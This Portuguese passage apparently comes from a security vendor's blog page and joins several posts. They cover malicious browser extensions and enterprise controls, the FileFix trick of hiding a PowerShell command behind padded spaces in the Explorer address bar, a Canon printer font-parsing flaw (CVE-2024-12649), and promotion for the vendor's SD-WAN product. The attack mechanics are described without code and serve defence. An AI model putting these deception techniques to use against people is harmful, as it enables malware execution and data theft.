Foi um verdadeiro prazer ler este relatório. Não apenas porque ele nos elogia, mas porque o setor finalmente está caminhando na direção certa, rumo à transparência e à responsabilidade.
Iniciamos esta tendência, seguimos na liderança e vamos continuar desbravando esse caminho. Portanto, caros leitores e usuários, não se esqueçam: confiar é uma coisa, poder verificar tudo, de forma completa, é outra bem diferente.
As extensões de navegador mal-intencionadas continuam sendo um ponto cego significativo para as equipes de cibersegurança de muitas organizações. Elas se tornaram um elemento permanente no arsenal dos criminosos cibernéticos, sendo usadas para roubo de sessão e conta, espionagem, mascaramento de outras atividades criminosas, fraude em anúncios e roubo de criptomoedas. Os incidentes de alto perfil envolvendo extensões mal-intencionadas são frequentes, abrangendo desde o comprometimento da extensão de segurança Cyberhaven até a publicação em massa de extensões de infostealer.
As extensões atraem os invasores porque concedem permissões e amplo acesso a informações dentro de aplicativos SaaS e sites. Como não são aplicativos independentes, geralmente passam despercebidas pelas políticas de segurança e ferramentas de controle padrão.
A equipe de segurança de uma empresa deve abordar esse problema de forma sistemática. O gerenciamento de extensões de navegador exige combinar ferramentas de política com serviços ou utilitários focados na análise de extensões. Este tópico foi o foco da palestra de Athanasios Giatsos no Security Analyst Summit 2025.
Recursos de ameaça de extensões da Web e inovações no Manifest V3
A extensão da Web de um navegador tem amplo acesso às informações da página da Web: ela pode ler e modificar qualquer dado disponível para o usuário por meio do aplicativo da Web, incluindo registros financeiros ou médicos. As extensões também acessam dados importantes sem que o usuário perceba como cookies, armazenamento local e configurações de proxy. Isso simplifica bastante o sequestro de sessão. Às vezes, as extensões vão muito além das páginas da Web: elas podem acessar a localização do usuário, downloads do navegador, captura de tela da área de trabalho, conteúdo da área de transferência e notificações do navegador.
Na arquitetura de extensões anteriormente dominante, as extensões do Manifest V2, que funcionavam no Chrome, Edge, Opera, Vivaldi, Firefox e Safari, são praticamente indistinguíveis de aplicativos completos em termos de recursos. Elas podem executar scripts em segundo plano continuamente, manter páginas da Web invisíveis abertas, carregar e executar scripts de sites externos e comunicar-se com sites arbitrários para recuperar ou enviar dados. Para conter possíveis abusos, bem como limitar os bloqueadores de anúncios, o Google fez a transição do Chromium e do Chrome para o Manifest V3. A atualização limitou ou bloqueou muitos recursos das extensões. As extensões precisam declarar todos os sites com que interagem, não podem mais executar código de terceiros carregado dinamicamente e devem usar microsserviços de curta duração em vez de scripts persistentes em segundo plano. Embora certos ataques tenham se tornado mais difíceis com a nova arquitetura, invasores ainda conseguem adaptar o código mal-intencionado para manter a maior parte das funções necessárias, mesmo sacrificando a discrição. Portanto, contar apenas com navegadores e extensões que operam sob o Manifest V3 em uma organização simplifica o monitoramento, mas não é uma solução completa.
Além disso, o V3 não resolve o problema principal das extensões: elas geralmente são baixadas de lojas de aplicativos oficiais usando domínios legítimos do Google, da Microsoft ou da Mozilla. Suas atividades parecem ser iniciadas pelo próprio navegador, tornando extremamente difícil distinguir entre as ações executadas por uma extensão e aquelas realizadas manualmente pelo usuário.
Como surgem as extensões mal-intencionadas
Com base em vários incidentes públicos, Athanasios Giatsos destaca diversos cenários em que as extensões mal-intencionadas podem surgir:
O desenvolvedor original vende uma extensão legítima e popular. O comprador então a “aprimora” com código mal-intencionado para exibição de anúncios, espionagem ou outros fins nocivos. Exemplos incluem The Great Suspender e Page Ruler.
Os invasores comprometem a conta do desenvolvedor e publicam uma atualização com um cavalo de Troia em uma extensão, como foi o caso da Cyberhaven.
A extensão é projetada para ser mal-intencionada desde o início. Ela se disfarça como um utilitário relevante, como uma ferramenta falsa Salvar no Google Drive, ou imita os nomes e designs de extensões populares, como as dezenas de clones do AdBlock disponíveis.
Uma versão mais sofisticada desse esquema envolve publicar inicialmente a extensão em um estado limpo, em que ela executa uma função genuinamente útil. As adições mal-intencionadas são introduzidas semanas ou até meses depois, quando a extensão já alcançou popularidade suficiente. A extensão ChatGPT para o Google é um exemplo.
Em todos esses cenários, ela está amplamente disponível na Chrome Web Store e, às vezes, até anunciada. No entanto, há também um cenário de ataque direcionado em que páginas ou mensagens de phishing solicitam que as vítimas instalem uma extensão mal-intencionada que não está disponível para o público em geral.
A distribuição centralizada pela Chrome Web Store, somada às atualizações automáticas do navegador e das extensões, frequentemente leva os usuários a instalar sem perceber e sem esforço uma extensão mal-intencionada. Se uma extensão já instalada em um computador receber uma atualização mal-intencionada, ela será instalada automaticamente.
Defesas organizacionais contra extensões mal-intencionadas
Em sua palestra, Athanasios fez uma série de recomendações gerais:
Adotar uma política da empresa para o uso de extensões de navegador.
Proibir qualquer extensão que não esteja explicitamente incluída em uma lista aprovada pelos departamentos de cibersegurança e TI.
Fazer auditoria contínua de todas as extensões instaladas e suas versões.
Quando as extensões forem atualizadas, acompanhe as permissões concedidas e verifique mudanças na propriedade ou na equipe de desenvolvedores.
Incluir orientações claras sobre riscos e regras para o uso de extensões nos treinamentos de conscientização de segurança para todos os funcionários.
Acrescentamos algumas informações práticas e considerações específicas para essas recomendações.
Lista restrita de extensões e navegadores. Além de aplicar políticas de segurança ao navegador oficialmente aprovado da empresa, é crucial proibir a instalação de versões portáteis e de navegadores de IA populares, como o Comet,ou outras soluções não autorizadas que permitem a instalação das mesmas extensões perigosas. Ao implementar essa etapa, restrinja os privilégios de administrador local à equipe de TI e às demais pessoas cujas funções realmente exijam esse nível de acesso.
Como parte da política do navegador principal da empresa, você deve desativar o modo de desenvolvedor e proibir a instalação de extensões a partir de arquivos locais. Para o Chrome, gerencie isso por meio do Admin Console. Essas configurações também estão disponíveis por meio de Políticas de Grupo do Windows, perfis de configuração do macOS ou por meio de um arquivo de política JSON no Linux.
Atualizações gerenciadas. Implemente a fixação de versão para impedir que as atualizações de extensões permitidas sejam imediatamente instaladas em toda a empresa. As equipes de TI e de cibersegurança precisam testar regularmente as novas versões das extensões aprovadas e fixar as versões atualizadas somente depois de terem sido verificadas.
Proteção multicamadas. É obrigatória a instalação de um agente EDR em todos os dispositivos corporativos para impedir que os usuários iniciem navegadores não autorizados, mitigar os riscos de visita em sites de phishing mal-intencionados e bloquear downloads de malware. Também é necessário rastrear solicitações de DNS e tráfego de rede do navegador no nível do firewall para detecção em tempo real de comunicações com hosts suspeitos e outras anomalias.
Monitoramento contínuo. Use soluções de EDR e SIEM para coletar informações do estado do navegador das estações de trabalho dos funcionários. Isso inclui a lista de extensões em cada navegador instalado, juntamente com os arquivos de manifesto para análise de versão e permissão. Isso permite a detecção rápida de novas extensões que estão sendo instaladas ou da versão que está sendo atualizada e as alterações de permissão concedidas.
Como verificar as extensões do navegador
Para implementar os controles discutidos acima, a empresa precisa de um banco de dados interno de extensões aprovadas e proibidas. Infelizmente, as lojas de aplicativos e os próprios navegadores não oferecem mecanismos para avaliar o risco em uma escala organizacional ou para preencher automaticamente essa lista. Portanto, a equipe de cibersegurança precisa criar esse processo e a lista. Os funcionários também precisarão de um procedimento formal para enviar solicitações para adicionar extensões à lista aprovada.
A avaliação das necessidades da empresa e das alternativas disponíveis é melhor conduzida com um representante da respectiva unidade de negócios. No entanto, a avaliação de risco continua sendo de inteira responsabilidade da equipe de segurança. Não é necessário baixar extensões manualmente e ver suas referências em diferentes repositórios de extensões. Essa tarefa pode ser realizada por várias ferramentas, como utilitários de código aberto, serviços on-line gratuitos e plataformas comerciais.
Serviços como Spin.AI e Koidex (anteriormente ExtensionTotal) podem ser usados para avaliar o risco geral. Ambos mantêm um banco de dados de extensões populares, de modo que a avaliação geralmente seja instantânea. Eles usam LLMs para gerar um breve resumo das propriedades da extensão, mas também fornecem uma análise detalhada, incluindo as permissões necessárias, o perfil do desenvolvedor e o histórico de versões, classificações e downloads.
Para analisar os dados principais das extensões, você também pode usar o Chrome-Stats. Embora tenha sido projetado principalmente para desenvolvedores de extensões, esse serviço exibe classificações, avaliações e outros dados da loja. Ele permite que usuários baixem a versão atual e versões anteriores de uma extensão, facilitando a investigação de incidentes.
Você pode utilizar ferramentas, como o CRX Viewer, para uma análise mais detalhada das extensões suspeitas ou críticas para a operação. Essa ferramenta permite que os analistas examinem os componentes internos da extensão, filtrando e exibindo o conteúdo de forma prática, com ênfase no código HTML e JavaScript.
Recentemente, falamos sobre a técnica ClickFix. Agora, os infratores começaram a utilizar uma nova versão dela, que foi apelidada de “FileFix” pelos pesquisadores. O princípio permanece o mesmo: usar táticas de engenharia social para induzir a vítima a executar um código malicioso involuntariamente em seu próprio dispositivo. A diferença entre o ClickFix e o FileFix está basicamente em onde o comando é executado.
No ClickFix, os invasores convencem a vítima a abrir a caixa de diálogo Executar do Windows e inserir um comando malicioso nela. Já no FileFix, eles manipulam a vítima a colar o comando malicioso na barra de endereços do Explorador de arquivos do Windows. Essa ação não parece incomum para o usuário, afinal a janela do Explorador de arquivos é um elemento bastante familiar, o que faz seu uso ser visto como menos arriscado. Consequentemente, os usuários que não têm conhecimento desse truque em particular estão muito mais propensos a cair na tática do FileFix.
Como os invasores manipulam a vítima a executar seu código
Um ataque FileFix se parece bastante com o ClickFix, ele começa quando o usuário é direcionado, na maioria das vezes através de um e-mail de phishing, a uma página que simula o site de algum serviço on-line legítimo. O site falso exibe uma mensagem de erro, indicando que não é possível acessar a funcionalidade normal do serviço. Para resolver o problema, indicam que o usuário deve executar uma série de etapas para um processo de “verificação de ambiente” ou “diagnóstico”.
Para isso, indicam ao usuário que ele precisa executar um arquivo específico que, segundo os invasores, já está no computador da vítima ou acabou de ser baixado. O usuário só precisa copiar o caminho para o arquivo local e colá-lo na barra de endereços do Explorador de arquivos do Windows. O campo que o usuário foi instruído a copiar realmente mostra o caminho para o arquivo, por isso que o ataque se chama “FileFix”. As instruções indicam que o usuário deve abrir o Explorador de arquivos, pressionar [CTRL] + [L] para ir para a barra de endereços, colar o “caminho do arquivo” pressionando o comando [CTRL] + [V] e depois [ENTER].
E o truque está aqui: apenas as últimas dezenas de caracteres do caminho do arquivo estão visíveis, o comando é bem mais extenso. Há uma sequência de espaços antes do caminho do arquivo, e, antes deles, fica a carga maliciosa que os invasores querem executar. Os espaços são essenciais para garantir que o usuário não perceba nada suspeito depois de colar o comando. Como a string completa é significativamente mais longa do que a área visível da barra de endereços, somente o caminho do arquivo benigno fica visível. O conteúdo verdadeiro só é revelado se as informações forem coladas em um arquivo de texto em vez da janela do Explorador de arquivos. Por exemplo, em um artigo do Bleeping Computer sobre a pesquisa da Expel, o comando real iniciava um script em PowerShell via conhost.exe.
O usuário acha que está colando o caminho de um arquivo, mas a verdade é que o comando contém um script do PowerShell Fonte
O que acontece depois que o script malicioso é executado
Um script em PowerShell executado por um usuário legítimo pode causar diversos problemas. Tudo depende das políticas de segurança da empresa, dos privilégios específicos do usuário e se há soluções de segurança no computador da vítima. No caso mencionado anteriormente, o ataque utilizou uma técnica denominada “tráfico de cache”. O mesmo site falso que implementou a técnica do FileFix salvou um arquivo no formato JPEG no cache do navegador, mas o arquivo comprimido continha um malware. O script malicioso extraiu esse malware e o executou no computador da vítima. Esse método permite que a carga maliciosa final chegue ao computador sem baixar arquivos ou fazer solicitações de rede evidentemente suspeitos, tornando-o bastante furtivo.
Como proteger sua empresa de ataques ClickFix e FileFix
Em nossa postagen sobre o ataque ClickFix, indicamos que a forma mais simples de defesa era bloquear a combinação de teclas [Win] + [R] em dispositivos de trabalho. É raríssimo que um funcionário comum de escritório precise abrir a caixa de diálogo Executar. No caso do FileFix, a situação é um pouco mais complexa, pois copiar um comando na barra de endereços é um comportamento perfeitamente normal.
Não é conveniente bloquear o atalho [CTRL] + [L] por dois motivos. Em primeiro lugar, essa combinação costuma ser usada em vários aplicativos para fins diversos e legítimos. Além disso, não seria totalmente eficaz, pois os usuários ainda podem acessar a barra de endereços do Explorador de arquivos clicando nela com o mouse. Os invasores costumam fornecer instruções detalhadas para os usuários caso o atalho de teclado não funcione.
Portanto, para uma defesa realmente eficaz contra ClickFix, FileFix e esquemas semelhantes, recomendamos antes de mais nada implementar em todos os dispositivos de trabalho uma solução de segurança confiável, que pode detectar e bloquear a execução de código malicioso a tempo.
Em segundo lugar, recomendamos realizar frequentemente uma conscientização de funcionários sobre as ameaças cibernéticas modernas, principalmente os métodos de engenharia social empregados nos cenários ClickFix e FileFix. O Kaspersky Automated Security Awareness Platform pode ajudar a automatizar o treinamento dos colaboradores.
Atualmente, quem tenta atacar a infraestrutura de uma organização raramente se depara com o luxo de uma estação de trabalho sem um Agente de EDR, portanto, os agentes maliciosos estão se concentrando em sabotar os servidores, ou os diversos dispositivos especializados conectados à rede e que possuem privilégios de acesso bastante amplos, mas não possuem proteção EDR e, muitas vezes, até recursos de registro. Anteriormente, registramos em detalhes os tipos de dispositivos de escritório vulneráveis.
Em 2025, os ataques reais focaram em dispositivos de rede (como gateways de VPN, firewalls e roteadores), sistemas de vigilância por vídeo e os próprios servidores. Mas não devemos ignorar ataques a impressoras, como o pesquisador independente Peter Geissler lembrou ao público no Security Analyst Summit 2025. Ele descreveu uma vulnerabilidade que identificou em impressoras da Canon ( CVE-2024-12649 , CVSS 9.8), que permite a execução de código malicioso nelas. E o aspecto mais curioso sobre essa vulnerabilidade é que basta enviar um arquivo aparentemente inocente para impressão para explorá-la.
Cavalo de Tróia via fonte: um ataque via CVE-2024-12649
O ataque começa ao enviar um arquivo XPS para impressão. Esse formato, criado pela Microsoft, contém todos os pré-requisitos para imprimir um documento com sucesso e é uma alternativa ao PDF. Basicamente, o XPS é um arquivo comprimido ZIP com a descrição detalhada do documento, todas as suas imagens e as fontes utilizadas. As fontes costumam ser armazenadas em TTF (TrueType Font), um formato bastante conhecido e inventado pela Apple. E é exatamente a fonte, que não costuma ser vista como perigosa, que contém o código malicioso.
O formato TTF foi projetado para que as letras pareçam idênticas em qualquer meio e mantenham as proporções independentemente do tamanho, desde o menor caractere em uma tela até o maior em um pôster impresso. Para atingir esse objetivo, cada letra pode ter instruções de fonte escritas para si, que descrevam as nuances da exibição de letras de tamanhos pequenos. Essas instruções são comandos para uma máquina virtual compacta que, mesmo sendo bastante simples, é compatível com todos os elementos básicos da programação: gerenciamento de memória, saltos e ramificação. Geissler e seus colegas estudaram como essa máquina virtual é implementada em impressoras Canon. Eles descobriram que algumas instruções de TTF são executadas de maneira não segura. Por exemplo, os comandos da máquina virtual que gerenciam a stack não verificam se há esgotamento da memória.
Como resultado, eles conseguiram criar uma fonte maliciosa. Quando um documento que contém a fonte é impresso em determinadas impressoras Canon, ele causa esgotamento do buffer da stack, grava os dados fora dos buffers da máquina virtual e, por fim, executa código no processador da impressora. O ataque inteiro é conduzido através do arquivo TTF e o restante do conteúdo do arquivo XPS é benigno. Na verdade, detectar o código malicioso mesmo dentro do arquivo TTF é bem difícil: não é muito extenso, a primeira parte contém as instruções TTF da máquina virtual, e a segunda parte é executada no sistema operacional da Canon (DryOS).
Deve-se perceber que a Canon se concentrou em proteger o firmware da impressora nos últimos anos. Por exemplo, ela usa registros de DACR e sinalizadores NX (sem execução) compatíveis com processadores ARM que limitam a capacidade de modificar o código do sistema ou de executar código em fragmentos de memória destinados exclusivamente ao armazenamento de dados. Apesar desses esforços, a arquitetura geral do DryOS não permite a implementação efetiva de mecanismos de proteção de memória, como ASLR ou stack canary, que são típicos dos sistemas operacionais maiores e modernos. Por isso que os pesquisadores ocasionalmente encontram maneiras de contornar a proteção existente. Por exemplo, nesse ataque específico, o código malicioso foi executado com êxito ao ser colocado, por meio do truque TTF, dentro de um buffer de memória direcionado a outro protocolo de impressão (IPP).
Cenário de exploração realista
A Canon afirma, no boletim que descreve a vulnerabilidade, que ela pode ser explorada remotamente se a impressora estiver acessível pela Internet. Por isso, sugerem configurar um firewall para que a impressora só possa ser usada pela rede interna do escritório. Embora seja um bom conselho e a impressora deva ser removida do acesso público, esse não é o único cenário de ataque.
Em seu relatório, Peter Geissler indicou um cenário híbrido muito mais realista. Nele, o invasor envia a um funcionário um anexo em um e-mail ou mensagem por aplicativo e, sob algum pretexto, sugere que ele seja impresso. Se a vítima enviar o documento para impressão, mesmo que dentro da rede interna da organização e sem qualquer exposição à Internet, o código malicioso será executado na impressora. Obviamente, o malware fica muito mais limitado quando ele é executado na impressora em comparação com um malware que infecta um computador. No entanto, o malware pode, por exemplo, criar um túnel ao estabelecer uma conexão com o servidor do invasor, permitindo que os invasores ataquem outros computadores na organização. Outra possibilidade para esse malware na impressora seria que todas as informações impressas na empresa sejam encaminhadas diretamente para o servidor do invasor. Para algumas organizações, como escritórios de advocacia, isso pode resultar em uma grave violação de dados.
Como se defender dessa ameaça à impressora
A vulnerabilidade CVE-2024-12649 e diversos defeitos intimamente relacionados a ela podem ser eliminados com a atualização do firmware da impressora conforme as instruções da Canon. Infelizmente, muitas organizações, mesmo as que se empenham em atualizar o software de computadores e servidores, precisam de um processo sistemático para atualizar o firmware da impressora. O processo deve ser implementado em todos os equipamentos conectados à rede de computadores.
No entanto, os pesquisadores de segurança ressaltam que há uma grande variedade de ataques voltados a equipamentos especializados. Portanto, não há garantia de que os invasores não utilizarão um exploit similar e desconhecido pelos fabricantes de impressoras ou seus clientes. Para reduzir o risco de exploração:
Segmente a rede, limitando a capacidade da impressora de estabelecer conexões de saída e aceitar conexões de outros dispositivos e usuários não autorizados a imprimir.
Desative todos os serviços não utilizados na impressora.
Defina uma senha de administrador única e forte para cada impressora/dispositivo.
A implementação de redes de longa distância definidas por software (Software-Defined Wide Area Networks, SD-WANs) aumenta a eficiência operacional, reduz custos e melhora a segurança. Esses impactos são tão significativos que, às vezes, podem ser observados em escala nacional. De acordo com o artigo The Transformative Impact of SD-WAN on Society and Global Development (O impacto transformador das SD-WANs na sociedade e no desenvolvimento global) publicado no International Journal for Multidisciplinary Research, a adoção dessa tecnologia pode resultar em aumento de 1,38% no PIB de países em desenvolvimento. No nível corporativo, os efeitos são ainda mais evidentes. Por exemplo, na fabricação industrial moderna e profundamente digitalizada, pode reduzir o tempo de inatividade não planejado em 25%.
Além disso, os projetos de implementação de SD-WAN não apenas proporcionam um rápido retorno do investimento, como também continuam a oferecer benefícios adicionais e maior eficiência conforme a solução recebe atualizações e novas versões são lançadas. Para demonstrar isso, apresentamos o novo Kaspersky SD-WAN 2.5 e seus recursos mais relevantes.
Algoritmos otimizados de redirecionamento de tráfego
Esse é um recurso clássico de SD-WAN e uma das principais vantagens competitivas da tecnologia. O roteamento do tráfego depende da natureza e da localização do aplicativo corporativo, mas também leva em conta as prioridades atuais e as condições da rede: em alguns casos, a confiabilidade é essencial; em outros, a velocidade ou a baixa latência são o fator decisivo. A nova versão do Kaspersky SD-WAN aprimora o algoritmo e passa a incluir dados detalhados sobre a perda de tráfego em cada caminho possível. Isso garante o funcionamento estável de serviços críticos em redes geograficamente distribuídas, por exemplo, ao reduzir falhas em videoconferências nacionais de grande escala. O mais importante é que esse aumento de confiabilidade vem acompanhado da redução da carga de trabalho de engenheiros de rede e equipes de suporte, já que o processo de adaptação de rotas é completamente automatizado.
Encaminhamento condicional de DNS
Esse recurso otimiza a velocidade de resolução de nomes de domínio e ajuda a manter as políticas de segurança para diferentes tipos de aplicativos. Por exemplo, as solicitações relacionadas à infraestrutura em nuvem do MS Office são encaminhadas diretamente do escritório local à CDN da Microsoft, enquanto os nomes de servidores da rede interna são resolvidos por meio do servidor DNS corporativo. Essa abordagem melhora significativamente a velocidade de estabelecimento das conexões e elimina a necessidade de configurar manualmente os roteadores em cada escritório. Em vez disso, uma única política unificada é suficiente para toda a rede.
Alterações programadas de configuração de CPE
Qualquer reconfiguração de rede em larga escala aumenta o risco de interrupções (mesmo que breves) e falhas. Para garantir que esse tipo de evento não prejudique processos críticos de negócios, qualquer alteração de política no Kaspersky SD-WAN pode ser programada para um horário específico. Quer alterar as configurações de roteadores em cem escritórios ao mesmo tempo? Programe a alteração para as 2h no horário local ou para a manhã de sábado. Isso elimina a necessidade de a equipe regional de TI estar fisicamente presente durante a implementação.
Depuração simplificada de BGP e OSPF
A análise do roteamento BGP agora pode ser realizada inteiramente pela interface gráfica do orquestrador. Surgiu um loop de roteamento repentinamente em algum ponto entre os escritórios de Milão e Paris? Em vez de acessar cada equipamento em todos os escritórios e nós intermediários via SSH, você agora pode identificar e resolver o problema por meio de uma única interface, reduzindo significativamente o tempo de inatividade.
Substituição fácil de CPE
Se o equipamento de rede em um escritório precisar ser substituído, agora é possível manter todas as configurações existentes ao substituí-lo. O técnico no escritório simplesmente conecta a nova unidade CPE, e o orquestrador do Kaspersky SD-WAN restaura automaticamente todas as políticas e túneis no dispositivo. Isso oferece vários benefícios imediatos: reduz significativamente o tempo de inatividade; a substituição pode ser realizada por um técnico sem conhecimento aprofundado de protocolos de rede; e diminui consideravelmente a probabilidade de falhas adicionais causadas por erros de configuração manual.
Diagnóstico de LTE
Embora frequentemente seja o canal de comunicação corporativa mais rápido e econômico de implantar, o LTE apresenta uma desvantagem: a instabilidade. Tanto a cobertura celular quanto a velocidade operacional podem variar com frequência, exigindo que os engenheiros de rede tomem providências, como realocar o CPE para uma área com melhor sinal. Agora, você pode tomar essas decisões com base em dados de diagnóstico coletados diretamente pelo orquestrador. Ele exibe os parâmetros de serviço dos dispositivos LTE conectados, incluindo o nível de intensidade do sinal.
Gerenciamento de falhas de energia
Para empresas com os requisitos mais rigorosos de tolerância a falhas e tempo de recuperação, estão disponíveis, mediante solicitação especial, variantes de CPE especializadas e equipadas com uma pequena fonte interna de energia. Em casos de queda de energia, o CPE poderá enviar dados detalhados sobre o tipo de falha para o orquestrador. Isso dá aos administradores tempo para investigar a causa e resolver o problema muito mais rapidamente.
Estas são apenas algumas das inovações do Kaspersky SD-WAN. Outros recursos incluem a capacidade de configurar políticas de segurança para conexões com a porta de console do CPE, além do suporte a redes de grande escala com mais de 2 mil CPEs e balanceamento de carga entre múltiplos orquestradores. Para saber mais sobre como todos esses novos recursos aumentam o valor do SD-WAN para a sua organização, nossos especialistas estão disponíveis para oferecer uma demonstração personalizada.
Entrar
